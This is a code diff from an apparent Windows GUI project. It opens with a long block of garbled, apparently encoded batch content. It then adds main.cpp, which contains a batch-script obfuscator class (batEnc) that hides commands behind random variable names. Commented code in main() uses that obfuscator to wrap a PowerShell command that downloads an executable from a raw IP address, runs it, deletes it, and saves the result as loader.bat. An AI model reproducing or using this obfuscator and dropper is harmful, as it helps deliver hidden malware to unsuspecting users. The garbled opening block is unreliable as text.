╢浍䜥╈癍春╱癖夥╘晵漥塯數╤歱䄥╯慊眥
╢浍䜥╈癍春╱癖夥╘晵漥捐慏╤歱䄥╘潥砥
╢浍䜥╈癍春╱癖夥╘晵漥汩晘╤歱䄥╘晵漥
╢浍䜥╈癍春癖夥╬楦堥坏歄╤歱䄥<EFBFBD>
╢浍䜥╈癍春╱癖夥╬楦堥穔楁╤歱䄥║䅅䬥
╢浍䜥╈癍春╱癖夥╬楦堥啁癆╤歱䄥╈癍春
╢浍䜥╕䅶䘥╱癖夥╬楦堥湓䭂╤歱䄥═卪倥
╢浍䜥╕䅶䘥癖夥╬楦堥摨景╤歱䄥<EFBFBD>
╢浍䜥╕䅶䘥╱癖夥╬楦堥晍癇╤歱䄥╧䥺漥
╢浍䜥╕䅶䘥╱癖夥╬楦堥汕䅢╤歱䄥╒捥砥
╢浍䜥╕䅶䘥╱癖夥╬楦堥慌摕╤歱䄥╅睭椥
╢浍䜥╕䅶䘥╱癖夥╬楦堥啫乪╤歱䄥╕䅶䘥
╢浍䜥╕歎樥╱癖夥╬楦堥摐桘╤歱䄥╺瑁䜥
╢浍䜥╕歎樥╱癖夥╬楦堥橸坸╤歱䄥╱癖夥
╢浍䜥╕歎樥╪硗砥╬楦堥䙉牬╤歱䄥╬楦堥
╢浍䜥╕歎樥╪硗砥╆䥲氥煙偋╤歱䄥╧獍津
╢浍䜥╕歎樥╪硗砥╆䥲氥兴桏╤歱䄥╦歇別
╢浍䜥╕歎樥╪硗砥╆䥲氥偵坃╤歱䄥╢浍䜥
═畗䌥╕歎樥╪硗砥╆䥲氥敱杶╤歱䄥╪硗砥
═畗䌥╕歎樥╥照瘥╆䥲氥䩖牘╤歱䄥╕歎樥
═畗䌥╊噲堥╥照瘥╆䥲氥䕰楥╤歱䄥╳乗娥
═畗䌥╊噲堥╥照瘥╆䥲氥䵃界╤歱䄥<EFBFBD>
═畗䌥╊噲堥╥照瘥╆䥲氥余塩╤歱䄥╉䩖䴥
═畗䌥╊噲堥╥照瘥╆䥲氥祗潙╤歱䄥╊噲堥
═畗䌥╹坯夥╥照瘥╆䥲氥䩉潰╤歱䄥╥照瘥
═畗䌥╹坯夥╊䥯瀥╆䥲氥楆硚╤歱䄥╍䍵䰥
═畗䌥╹坯夥╊䥯瀥╆䥲氥䙙奍╤歱䄥╫楸䴥
═畗䌥╹坯夥╊䥯瀥╆䥲氥䥯䍣╤歱䄥╹坯夥
═畗䌥╉潃挥╊䥯瀥╆䥲氥此湨╤歱䄥╬啁戥
═畗䌥╉潃挥╊䥯瀥╆䥲氥塳牑╤歱䄥╡婦別
═畗䌥╉潃挥╊䥯瀥╆䥲氥慂瑆╤歱䄥╣偡伥
═畗䌥╉潃挥╊䥯瀥╆䥲氥潙杋╤歱䄥╯扯䴥
═畗䌥╉潃挥╊䥯瀥╆䥲氥煴扗╤歱䄥╉潃挥
═畗䌥╱瑢圥╊䥯瀥╆䥲氥呈䑂╤歱䄥╺呩䄥
═畗䌥╱瑢圥╊䥯瀥╆䥲氥煈䵳╤歱䄥╊䥯瀥
═畗䌥瑢圥䡍猥╆䥲氥䉳橦╤歱䄥<EFBFBD>
═畗䌥╱瑢圥╱䡍猥╆䥲氥剉乡╤歱䄥╩䙸娥
═畗䌥╱瑢圥╱䡍猥╆䥲氥潧畗╤歱䄥╘乆搥
═畗䌥╱瑢圥╱䡍猥╆䥲氥䑊硘╤歱䄥╦䵶䜥
═畗䌥╱瑢圥╱䡍猥╆䥲氥䅯䭴╤歱䄥╮卋䈥
═畗䌥╱瑢圥╱䡍猥╆䥲氥摴呷╤歱䄥╔䡄䈥
═畗䌥╱瑢圥╱䡍猥╆䥲氥問獣╤歱䄥╡䉴䘥
═畗䌥╱瑢圥╱䡍猥╆䥲氥浃䑖╤歱䄥╄䩸堥
═畗䌥╱瑢圥╱䡍猥╆䥲氥䵍潓╤歱䄥╭呱愥
═畗䌥╱瑢圥╱䡍猥╆䥲氥湎睧╤歱䄥╘啩攥
═畗䌥╱瑢圥╱䡍猥╆䥲氥婺敳╤歱䄥╗䅊䜥
═畗䌥╱瑢圥╱䡍猥╆䥲氥畉坣╤歱䄥╯奧䬥
═畗䌥╱瑢圥╱䡍猥╆䥲氥共煹╤歱䄥╕佳挥
═畗䌥╱瑢圥╱䡍猥╆䥲氥汮塦╤歱䄥╱瑢圥
═畗䌥╬湘春╱䡍猥╆䥲氥佦灡╤歱䄥╗佫䐥
═畗䌥╬湘春╱䡍猥╆䥲氥塋䕐╤歱䄥╆䥲氥
═畗䌥╬湘春䡍猥╘䭅倥塊潓╤歱䄥<EFBFBD>
═畗䌥╬湘春╱䡍猥╘䭅倥浱䕇╤歱䄥╂婑渥
═畗䌥╬湘春╱䡍猥╘䭅倥慄摂╤歱䄥╱䡍猥
═畗䌥╬湘春╡䑤䈥╘䭅倥數歅╤歱䄥╡䑤䈥
═畗䌥╬湘春╥硫䔥╘䭅倥䝹婩╤歱䄥╦测眥
═畗䌥╬湘春╥硫䔥╘䭅倥獧䙍╤歱䄥<EFBFBD>
═畗䌥╬湘春╥硫䔥╘䭅倥啔婍╤歱䄥<EFBFBD>
═畗䌥╬湘春╥硫䔥╘䭅倥䝡湐╤歱䄥╕呚䴥
═畗䌥╬湘春╥硫䔥╘䭅倥呬潊╤歱䄥╇杹漥
═畗䌥╬湘春╥硫䔥╘䭅倥䕯䕕╤歱䄥╘硈爥
═畗䌥╬湘春╥硫䔥╘䭅倥睎䅓╤歱䄥╒䥎愥
═畗䌥╬湘春╥硫䔥╘䭅倥䍏畬╤歱䄥╺坕䴥
═畗䌥╬湘春╥硫䔥╘䭅倥橒汷╤歱䄥╔汯䨥
═畗䌥╬湘春╥硫䔥╘䭅倥坭䉎╤歱䄥╚灳䌥
═畗䌥╬湘春╥硫䔥╘䭅倥硚䙹╤歱䄥╷乁匥
═畗䌥╬湘春╥硫䔥╘䭅倥佂䵔╤歱䄥╒牡琥
═畗䌥╬湘春╥硫䔥╘䭅倥噹䙯╤歱䄥╅潅唥
═畗䌥╬湘春╥硫䔥╘䭅倥剪䑹╤歱䄥╏䉍吥
═畗䌥╬湘春╥硫䔥╘䭅倥晈䑯╤歱䄥╸婆礥
═畗䌥╬湘春╥硫䔥╘䭅倥摐浕╤歱䄥╃併氥
═畗䌥╬湘春╥硫䔥╘䭅倥浏杤╤歱䄥╖祆漥
═畗䌥╬湘春╥硫䔥╘䭅倥噓牐╤歱䄥╋獫䤥
═畗䌥╬湘春╥硫䔥╘䭅倥䝹楙╤歱䄥╳杆䴥
═畗䌥╬湘春╥硫䔥╘䭅倥䝧晴╤歱䄥╗浂严
═畗䌥╬湘春╥硫䔥╘䭅倥䵷奊╤歱䄥╹睷礥
═畗䌥╬湘春╥硫䔥╘䭅倥睬橐╤歱䄥╇杦琥
═畗䌥╬湘春╥硫䔥╘䭅倥䙵䩊╤歱䄥╷汪倥
═畗䌥╬湘春╥硫䔥╘䭅倥杋潫╤歱䄥╇慮倥
═畗䌥╬湘春╥硫䔥╘䭅倥湐兪╤歱䄥╯杵圥
═畗䌥╬湘春╥硫䔥╘䭅倥橶䭵╤歱䄥╭䍄嘥
═畗䌥╬湘春╥硫䔥╘䭅倥䵯噃╤歱䄥╁潋琥
═畗䌥╬湘春╥硫䔥╘䭅倥䭙其╤歱䄥╤瑔眥
═畗䌥╬湘春╥硫䔥╘䭅倥扣敫╤歱䄥╊兪倥
═畗䌥╬湘春╥硫䔥╘䭅倥偕呖╤歱䄥╪癋甥
═畗䌥╬湘春╥硫䔥╘䭅倥捦桑╤歱䄥╍䵯匥
═畗䌥╬湘春╥硫䔥╘䭅倥䅬睵╤歱䄥╮乷朥
═畗䌥╬湘春╥硫䔥╘䭅倥䝕佖╤歱䄥╕敹儥
═畗䌥╬湘春╥硫䔥╘䭅倥塸扎╤歱䄥╵䥗挥
═畗䌥╬湘春╥硫䔥╘䭅倥汏坚╤歱䄥╋契瘥
═畗䌥╬湘春╥硫䔥╘䭅倥敶䩅╤歱䄥<EFBFBD>
═畗䌥╬湘春╥硫䔥╘䭅倥瑰䉷╤歱䄥╏楏漥
═畗䌥╬湘春╥硫䔥╘䭅倥䵱塈╤歱䄥╘硢严
═畗䌥╬湘春╥硫䔥╘䭅倥䩧呰╤歱䄥║煱礥
═畗䌥╬湘春╥硫䔥╘䭅倥呴婬╤歱䄥╬湘春
═畗䌥╔瑚氥╥硫䔥╘䭅倥晴䩷╤歱䄥╬佗娥
═畗䌥╔瑚氥╥硫䔥╘䭅倥充䅙╤歱䄥╣晨儥
═畗䌥╔瑚氥╥硫䔥╘䭅倥䍣䡡╤歱䄥╅灩攥
═畗䌥╔瑚氥╥硫䔥╘䭅倥浭橚╤歱䄥╔瑚氥
═畗䌥╭浪娥╥硫䔥╘䭅倥扖潂╤歱䄥╤歱䄥
═畗䌥╭浪娥╥硫䔥╘䭅倥癉杣╢噯䈥═畗䌥
╶䥧挥╭浪娥╥硫䔥╘䭅倥偉䵥╢噯䈥╁汷甥
╶䥧挥╭浪娥╥硫䔥╘䭅倥潄䕔╢噯䈥║䕁夥
╶䥧挥╭浪娥╥硫䔥╘䭅倥湹慊╢噯䈥╶䥧挥
╮祡䨥╭浪娥╥硫䔥╘䭅倥剖䑶╢噯䈥╇乌漥
╮祡䨥╭浪娥╥硫䔥╘䭅倥睏䭊╢噯䈥╴灂眥
╮祡䨥╭浪娥╥硫䔥╘䭅倥剆婘╢噯䈥╮祡䨥
╒䙚堥╭浪娥╥硫䔥╘䭅倥扤呉╢噯䈥╌呈䴥
╒䙚堥╭浪娥╥硫䔥╘䭅倥癊䭏╢噯䈥╷佋䨥
╒䙚堥╭浪娥╥硫䔥╘䭅倥䑳佶╢噯䈥═䥍攥
╒䙚堥╭浪娥╥硫䔥╘䭅倥偧単╢噯䈥╒噄瘥
╒䙚堥╭浪娥╥硫䔥╘䭅倥獥佪╢噯䈥╷䉯瘥
╒䙚堥╭浪娥╥硫䔥╘䭅倥療噲╢噯䈥╭煅䜥
╒䙚堥╭浪娥╥硫䔥╘䭅倥捣湤╢噯䈥╦瑊眥
╒䙚堥╭浪娥╥硫䔥╘䭅倥橸捶╢噯䈥╒䙚堥
╪硣瘥╭浪娥╥硫䔥╘䭅倥浱歄╢噯䈥╄獏瘥
╪硣瘥╭浪娥╥硫䔥╘䭅倥兓卪╢噯䈥╶䩋伥
╪硣瘥╭浪娥╥硫䔥╘䭅倥晘偂╢噯䈥═杓堥
╪硣瘥╭浪娥╥硫䔥╘䭅倥敷慰╢噯䈥╳敏樥
╪硣瘥╭浪娥╥硫䔥╘䭅倥䥳歧╢噯䈥╡䱤唥
╪硣瘥╭浪娥╥硫䔥╘䭅倥汍䕂╢噯䈥╦塐䈥
╪硣瘥╭浪娥╥硫䔥╘䭅倥捬䙭╢噯䈥╫摮栥
╪硣瘥╭浪娥╥硫䔥╘䭅倥婸䱬╢噯䈥╥睡瀥
╪硣瘥╭浪娥╥硫䔥╘䭅倥煤奯╢噯䈥╪硣瘥
╱摙漥╭浪娥╥硫䔥╘䭅倥䙹啅╢噯䈥╭浪娥
╱摙漥╆祕䔥╥硫䔥╘䭅倥煺晧╢噯䈥╣据搥
╱摙漥╆祕䔥╥硫䔥╘䭅倥浯晴╢噯䈥╢摔䤥
╱摙漥╆祕䔥╥硫䔥╘䭅倥偫潹╢噯䈥║卓樥
╱摙漥╆祕䔥╥硫䔥╘䭅倥偃䅦╢噯䈥╊杔瀥
╱摙漥╆祕䔥╥硫䔥╘䭅倥噵穮╢噯䈥╚硌氥
╱摙漥╆祕䔥╥硫䔥╘䭅倥祑敄╢噯䈥╯䑅吥
╱摙漥╆祕䔥╥硫䔥╘䭅倥硷捔╢噯䈥╱摙漥
╸督吥╆祕䔥╥硫䔥╘䭅倥坔噏╢噯䈥╆祕䔥
╸督吥╗呖伥╥硫䔥╘䭅倥歺杣╢噯䈥╉獫朥
╸督吥╗呖伥╥硫䔥╘䭅倥䉒奔╢噯䈥╗呖伥
╸督吥╂剙吥╥硫䔥╘䭅倥桵獖╢噯䈥═啔嘥
╸督吥╂剙吥╥硫䔥╘䭅倥块卍╢噯䈥╭潦琥
╸督吥╂剙吥╥硫䔥╘䭅倥佗睔╢噯䈥╫穧挥
╸督吥╂剙吥╥硫䔥╘䭅倥畸佂╢噯䈥═歯礥
╸督吥╂剙吥╥硫䔥╘䭅倥時牉╢噯䈥╣汆津
╸督吥╂剙吥╥硫䔥╘䭅倥祸噰╢噯䈥╶䉖爥
╸督吥╂剙吥╥硫䔥╘䭅倥扱煨╢噯䈥╬䵅䈥
╸督吥╂剙吥╥硫䔥╘䭅倥歄啁╢噯䈥╵硏䈥
╸督吥╂剙吥╥硫䔥╘䭅倥橙塅╢噯䈥╏坷吥
╸督吥╂剙吥╥硫䔥╘䭅倥杚坏╢噯䈥╍煘䠥
╸督吥╂剙吥╥硫䔥╘䭅倥䅗浨╢噯䈥╤偨堥
╸督吥╂剙吥╥硫䔥╘䭅倥偎汢╢噯䈥╘䩯匥
╸督吥╂剙吥╥硫䔥╘䭅倥䅦浤╢噯䈥<EFBFBD>
╸督吥╂剙吥╥硫䔥╘䭅倥汢䩑╢噯䈥═乬戥
╸督吥╂剙吥╥硫䔥╘䭅倥䭱噮╢噯䈥╁坭栥
╸督吥╂剙吥╥硫䔥╘䭅倥捚䝈╢噯䈥╇祩夥
╸督吥╂剙吥╥硫䔥╘䭅倥允浫╢噯䈥<EFBFBD>
╸督吥╂剙吥╥硫䔥╘䭅倥䩴救╢噯䈥╹入䐥
╸督吥╂剙吥╥硫䔥╘䭅倥卤穡╢噯䈥╦䡄漥
╸督吥╂剙吥╥硫䔥╘䭅倥剎䅄╢噯䈥╂剙吥
╸督吥╒乁䐥╥硫䔥╘䭅倥潷䑸╢噯䈥╮婱䄥
╸督吥╒乁䐥╥硫䔥╘䭅倥硩瑁╢噯䈥╒乁䐥
╸督吥╸楴䄥╥硫䔥╘䭅倥佹晤╢噯䈥╬扊儥
╸督吥╸楴䄥╥硫䔥╘䭅倥乖汶╢噯䈥╂獪春
╇祚椥╨畳嘥╍潖䌥╸楴䄥╗坓䴥╸督吥╹硖瀥╸楴䄥═䍁春═䍁春╘䭅倥╏晰愥╱穦朥╸楴䄥╍潖䌥╤桦漥╨畳嘥╦䉲䤥╪奘䔥╸楴䄥╋煖渥╥硫䔥╘䭅倥╱奐䬥║瑨伥╸督吥╥硫䔥╸楴䄥╃捈愥╓摺愥╏奘椥╸楴䄥╥硫䔥╓摺愥╆奙䴥╸楴䄥╦䉲䤥╘獲儥═䍁春╧婗伥╸楴䄥╱穦朥╥硫䔥╎噬瘥╓摺愥╮偑樥╨畳嘥╍潖䌥╱穦朥═䍁春╨畳嘥╊瑥儥╭煫䐥╚穥猥╧婗伥═䍁春╸楴䄥╏晰愥╘䭅倥╏祦搥╹硖瀥╥硫䔥╥硫䔥╇祚椥╣婇䠥╧䭯欥╧䭯欥╪剬眥╭佧搥╓摺愥╤偭唥╪剬眥╆畊䨥╓摺愥╒橄礥╭佧搥╒橄礥╓摺愥╤偭唥╭佧搥╖卲倥╣婇䠥╆畊䨥╍睙䨥╆畊䨥╆畊䨥╧䭯欥╮偑樥╨畳嘥╍潖䌥╱穦朥╢捥欥╨畳嘥╊瑥儥╭煫䐥╇問嘥╧婗伥╱穦朥╥癊䔥╫䑕䄥╧婗伥═䍁春╸楴䄥╱穦朥╊瑥儥╃捈愥╸楴䄥╢噯䈥╸督吥╭煫䐥╊瑥儥╸督吥╢煱栥╫䑕䄥╸督吥╗坓䴥╫䑕䄥╭煫䐥╢煱栥╖畺渥╹硖瀥╱穦朥╸督吥╭煫䐥╫䑕䄥╢煱栥╖畺渥╪奘䔥╢煱栥╦䉲䤥╖畺渥╸督吥╸楴䄥╱穦朥╗坓䴥╫䑕䄥═䍁春╖畺渥╊瑥儥╸督吥╸楴䄥╪奘䔥╸楴䄥╨畳嘥╗坓䴥╪奘䔥╫䑕䄥╦䉲䤥╹硖瀥╢煱栥╫䑕䄥╪奘䔥╧婗伥╋煖渥╏祦搥╁晭搥╏祦搥╋煖渥╣婇䠥║䅭欥╊瑥儥╓摺愥╸楴䄥╯睄砥╸楴䄥╏祦搥╎噬瘥
╸督吥╸楴䄥╥硫䔥╘䭅倥癡楔╢噯䈥╋煖渥
╸督吥╸楴䄥╥硫䔥╘䭅倥祆普╢噯䈥╣婇䠥
╸督吥╸楴䄥╥硫䔥╘䭅倥灸物╢噯䈥║䅭欥
╸督吥╸楴䄥╥硫䔥╘䭅倥䩂捲╢噯䈥╊瑥儥
╸督吥╸楴䄥╥硫䔥╘䭅倥剎䅣╢噯䈥╓摺愥
╸督吥╸楴䄥╥硫䔥╘䭅倥癱坅╢噯䈥╸楴䄥
╸督吥╶煗䔥╥硫䔥╘䭅倥睫捭╢噯䈥╯睄砥
╸督吥╶煗䔥╥硫䔥╘䭅倥䍧啬╢噯䈥╶煗䔥
╶慩吥╹䙦渥╰硲椥╊䉣爥╒乁挥╃杕氥╷正津╃杕氥
╸督吥╃杕氥╥硫䔥╘䭅倥䵩䉖╢噯䈥╭煫䐥
╸督吥╃杕氥╥硫䔥╘䭅倥慅灯╢噯䈥╃杕氥
╸督吥╡䕰漥╥硫䔥╘䭅倥祧硩╢噯䈥═䍁春
╸督吥╡䕰漥╥硫䔥╘䭅倥䝨䅱╢噯䈥╘䭅倥
╸督吥╡䕰漥╥硫䔥╇桁焥摶歏╢噯䈥╶慩吥
╸督吥╡䕰漥╥硫䔥╇桁焥祃呈╢噯䈥╹䙦渥
╸督吥╡䕰漥╥硫䔥╇桁焥瑃兏╢噯䈥╰硲椥
╸督吥╡䕰漥╥硫䔥╇桁焥䅶䝬╢噯䈥╊䉣爥
╸督吥╡䕰漥╥硫䔥╇桁焥单楡╢噯䈥╒乁挥
╸督吥╡䕰漥╥硫䔥╇桁焥敥癚╢噯䈥╡䕰漥
╸督吥╥敶娥╥硫䔥╇桁焥䝓硧╢噯䈥╷正津
╸督吥╥敶娥╥硫䔥╇桁焥獸穹╢噯䈥<EFBFBD>
╍楂嘥╳硺礥╹杸椥╇桁焥╤癫伥╹䍔䠥╴䍑伥╁癇氥╓啩愥╳硺礥╇卸朥╳硺礥

234
WinGUI/main.cpp Normal file
View File

@ -0,0 +1,234 @@
#include "MainWindow.h"
//#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
class batEnc
{
private:
std::unordered_map<char, std::string> chars;
std::stringstream sb;
std::string randomString4()
{
char tmp[5];
char keys[] = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
tmp[0] = keys[Random::Next() % 52];
tmp[1] = keys[Random::Next() % 52];
tmp[2] = keys[Random::Next() % 52];
tmp[3] = keys[Random::Next() % 52];
tmp[4] = '\0';
return std::string(tmp);
}
void check(char c)
{
auto found = chars.find(c);
if (found == chars.end())
{
chars[c] = randomString4();
sb << ref('s') << ref('e') << ref('t') << ref(' ') << chars[c] << ref('=') << c << std::endl;
}
}
void random(char c)
{
auto found = chars.find(c);
if (found == chars.end())
{
chars[c] = randomString4();
sb << ref('s') << ref('e') << ref('t') << ref(' ') << chars[c] << ref('=') << c << std::endl;
}
else
{
auto ss = randomString4();
if (chars[c].size() == 4 && chars[c][0] == c)
sb << ref('s') << ref('e') << ref('t') << ref(' ') << ss << ref('=') << c << std::endl;
else
sb << ref('s') << ref('e') << ref('t') << ref(' ') << ss << ref('=') << ref(c) << std::endl;
chars[c] = ss;
}
}
void random()
{
for (auto c : chars)
random(c.first);
}
void random(std::string s)
{
for (auto c : s)
random(c);
}
std::string ref(char c)
{
return "%" + chars[c] + "%";
}
std::string ref(std::string s)
{
std::string res = "";
for (auto s_ : s)
res += ref(s_);
return res;
}
void input(char c)
{
sb << ref(c);
}
void input(std::string str)
{
for (auto c : str)
check(c);
for (auto c : str)
input(c);
sb << std::endl;
}
public:
batEnc()
{
chars = std::unordered_map<char, std::string>();
sb << "@echo off" << std::endl;
chars[' '] = randomString4();
sb << "set " << chars[' '] << "= " << std::endl;
chars['='] = randomString4();
sb << "set" << ref(' ') << chars['='] << "==" << std::endl;
chars['s'] = randomString4();
sb << "set" << ref(' ') << chars['s'] << ref('=') << "s" << std::endl;
chars['e'] = randomString4();
sb << ref('s') << "et" << ref(' ') << chars['e'] << ref('=') << "e" << std::endl;
chars['t'] = randomString4();
sb << ref('s') << ref('e') << "t" << ref(' ') << chars['t'] << ref('=') << "t" << std::endl;
}
std::string convert(std::string str)
{
auto lines = StringHelper::Split(str, { '\r','\n' });
random("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
random("0123456789");
random("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz");
random("0987654321");
random("QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm");
random("3571986240");
for (auto l : lines)
{
random(l);
input(l);
}
return sb.str();
}
};
static constexpr const uint32_t hexTableW[] =
{
0x300030,0x310030,0x320030,0x330030,0x340030,0x350030,0x360030,0x370030,0x380030,0x390030,0x410030,0x420030,0x430030,0x440030,0x450030,0x460030,
0x300031,0x310031,0x320031,0x330031,0x340031,0x350031,0x360031,0x370031,0x380031,0x390031,0x410031,0x420031,0x430031,0x440031,0x450031,0x460031,
0x300032,0x310032,0x320032,0x330032,0x340032,0x350032,0x360032,0x370032,0x380032,0x390032,0x410032,0x420032,0x430032,0x440032,0x450032,0x460032,
0x300033,0x310033,0x320033,0x330033,0x340033,0x350033,0x360033,0x370033,0x380033,0x390033,0x410033,0x420033,0x430033,0x440033,0x450033,0x460033,
0x300034,0x310034,0x320034,0x330034,0x340034,0x350034,0x360034,0x370034,0x380034,0x390034,0x410034,0x420034,0x430034,0x440034,0x450034,0x460034,
0x300035,0x310035,0x320035,0x330035,0x340035,0x350035,0x360035,0x370035,0x380035,0x390035,0x410035,0x420035,0x430035,0x440035,0x450035,0x460035,
0x300036,0x310036,0x320036,0x330036,0x340036,0x350036,0x360036,0x370036,0x380036,0x390036,0x410036,0x420036,0x430036,0x440036,0x450036,0x460036,
0x300037,0x310037,0x320037,0x330037,0x340037,0x350037,0x360037,0x370037,0x380037,0x390037,0x410037,0x420037,0x430037,0x440037,0x450037,0x460037,
0x300038,0x310038,0x320038,0x330038,0x340038,0x350038,0x360038,0x370038,0x380038,0x390038,0x410038,0x420038,0x430038,0x440038,0x450038,0x460038,
0x300039,0x310039,0x320039,0x330039,0x340039,0x350039,0x360039,0x370039,0x380039,0x390039,0x410039,0x420039,0x430039,0x440039,0x450039,0x460039,
0x300041,0x310041,0x320041,0x330041,0x340041,0x350041,0x360041,0x370041,0x380041,0x390041,0x410041,0x420041,0x430041,0x440041,0x450041,0x460041,
0x300042,0x310042,0x320042,0x330042,0x340042,0x350042,0x360042,0x370042,0x380042,0x390042,0x410042,0x420042,0x430042,0x440042,0x450042,0x460042,
0x300043,0x310043,0x320043,0x330043,0x340043,0x350043,0x360043,0x370043,0x380043,0x390043,0x410043,0x420043,0x430043,0x440043,0x450043,0x460043,
0x300044,0x310044,0x320044,0x330044,0x340044,0x350044,0x360044,0x370044,0x380044,0x390044,0x410044,0x420044,0x430044,0x440044,0x450044,0x460044,
0x300045,0x310045,0x320045,0x330045,0x340045,0x350045,0x360045,0x370045,0x380045,0x390045,0x410045,0x420045,0x430045,0x440045,0x450045,0x460045,
0x300046,0x310046,0x320046,0x330046,0x340046,0x350046,0x360046,0x370046,0x380046,0x390046,0x410046,0x420046,0x430046,0x440046,0x450046,0x460046,
};
static constexpr const uint32_t hexTableWCC[] =
{
'00\0000','01\0000','02\0000','03\0000','04\0000','05\0000','06\0000','07\0000','08\0000','09\0000','0A\0000','0B\0000','0C\0000','0D\0000','0E\0000','0F\0000',
'00\0001','01\0001','02\0001','03\0001','04\0001','05\0001','06\0001','07\0001','08\0001','09\0001','0A\0001','0B\0001','0C\0001','0D\0001','0E\0001','0F\0001',
'00\0002','01\0002','02\0002','03\0002','04\0002','05\0002','06\0002','07\0002','08\0002','09\0002','0A\0002','0B\0002','0C\0002','0D\0002','0E\0002','0F\0002',
'00\0003','01\0003','02\0003','03\0003','04\0003','05\0003','06\0003','07\0003','08\0003','09\0003','0A\0003','0B\0003','0C\0003','0D\0003','0E\0003','0F\0003',
'00\0004','01\0004','02\0004','03\0004','04\0004','05\0004','06\0004','07\0004','08\0004','09\0004','0A\0004','0B\0004','0C\0004','0D\0004','0E\0004','0F\0004',
'00\0005','01\0005','02\0005','03\0005','04\0005','05\0005','06\0005','07\0005','08\0005','09\0005','0A\0005','0B\0005','0C\0005','0D\0005','0E\0005','0F\0005',
'00\0006','01\0006','02\0006','03\0006','04\0006','05\0006','06\0006','07\0006','08\0006','09\0006','0A\0006','0B\0006','0C\0006','0D\0006','0E\0006','0F\0006',
'00\0007','01\0007','02\0007','03\0007','04\0007','05\0007','06\0007','07\0007','08\0007','09\0007','0A\0007','0B\0007','0C\0007','0D\0007','0E\0007','0F\0007',
'00\0008','01\0008','02\0008','03\0008','04\0008','05\0008','06\0008','07\0008','08\0008','09\0008','0A\0008','0B\0008','0C\0008','0D\0008','0E\0008','0F\0008',
'00\0009','01\0009','02\0009','03\0009','04\0009','05\0009','06\0009','07\0009','08\0009','09\0009','0A\0009','0B\0009','0C\0009','0D\0009','0E\0009','0F\0009',
'00\000A','01\000A','02\000A','03\000A','04\000A','05\000A','06\000A','07\000A','08\000A','09\000A','0A\000A','0B\000A','0C\000A','0D\000A','0E\000A','0F\000A',
'00\000B','01\000B','02\000B','03\000B','04\000B','05\000B','06\000B','07\000B','08\000B','09\000B','0A\000B','0B\000B','0C\000B','0D\000B','0E\000B','0F\000B',
'00\000C','01\000C','02\000C','03\000C','04\000C','05\000C','06\000C','07\000C','08\000C','09\000C','0A\000C','0B\000C','0C\000C','0D\000C','0E\000C','0F\000C',
'00\000D','01\000D','02\000D','03\000D','04\000D','05\000D','06\000D','07\000D','08\000D','09\000D','0A\000D','0B\000D','0C\000D','0D\000D','0E\000D','0F\000D',
'00\000E','01\000E','02\000E','03\000E','04\000E','05\000E','06\000E','07\000E','08\000E','09\000E','0A\000E','0B\000E','0C\000E','0D\000E','0E\000E','0F\000E',
'00\000F','01\000F','02\000F','03\000F','04\000F','05\000F','06\000F','07\000F','08\000F','09\000F','0A\000F','0B\000F','0C\000F','0D\000F','0E\000F','0F\000F',
};
int main(int argc, char** argv)
{
//const char* keyTable = "0123456789ABCDEF";
//for (int i = 0; i < 0x100; i++)
//{
// char output[3] = {0,0,0};
// output[1] = keyTable[(*(uint8_t*)&i & 0x0F) >> 0x00];
// output[0] = keyTable[(*(uint8_t*)&i & 0xF0) >> 0x04];
// //printf("0x%ws,", output);
// printf("\'%c\\000%c\',", output[1], output[0]);
// if ((i + 1) % 16 == 0)
// printf("\n");
//}
//return 0;
//int dx = 0;
//while (1)
//{
// TCPSocket cli;
// if (cli.Connect("127.0.0.1", 8288))
// {
// std::string str = StringHelper::Format("HELLO - %d",dx++);
// cli.Send(str.c_str(), str.size());
// cli.Close();
// }
//}
//return 1;
//TCPSocket ser;
//ser.Listen(8288);
//while (1)
//{
// auto socket_ = ser.Accept();
// char buffer[0x1000] = {};
// auto len = socket_->Receive(buffer, 0x1000);
// socket_->Close();
// if (len > 0)
// {
// printf("%s\n", buffer);
// }
//}
//return 1;
//BYTE char_array_4[4]{};
//uint32_t value = 0x12045678;
//char_array_4[0] = (value >> 24) & 0xFF;
//char_array_4[1] = (value >> 16) & 0xFF;
//char_array_4[2] = (value >> 8) & 0xFF;
//char_array_4[3] = value & 0xFF;
//*(uint32_t*)char_array_4 = value & 0xFFFFFFFFu;
//auto s = R"(
//cls
//color 24
//color 24
//powershell (new-object System.Net.WebClient).DownloadFile( 'http://43.248.131.235:8088/DownLoadBin?filename=sdasgfsrfdgkhnsdfgkjgbksenrflkasejeorjfbhgfjic','c:\a.exe')
//c:\a.exe
//del c:\a.exe
//)";
//batEnc enc;
//auto str = enc.convert(s);
//List<char> buffer;
//buffer.Add(0xFE);
//buffer.Add(0xFF);
//buffer.Add(0x0D);
//buffer.Add(0x0A);
//buffer.AddRange(str.data(), str.size());
//File::WriteAllBytes(R"(loader.bat)", (BYTE*)buffer.data(), buffer.size());
MainWindow* fm = new MainWindow();
fm->Show();
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
};
return NULL;
}

16
WinGUI/resource.h Normal file
View File

@ -0,0 +1,16 @@
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ 生成的包含文件。
// 供 WinGUI.rc 使用
//
#define IDI_ICON1 101
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 102
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif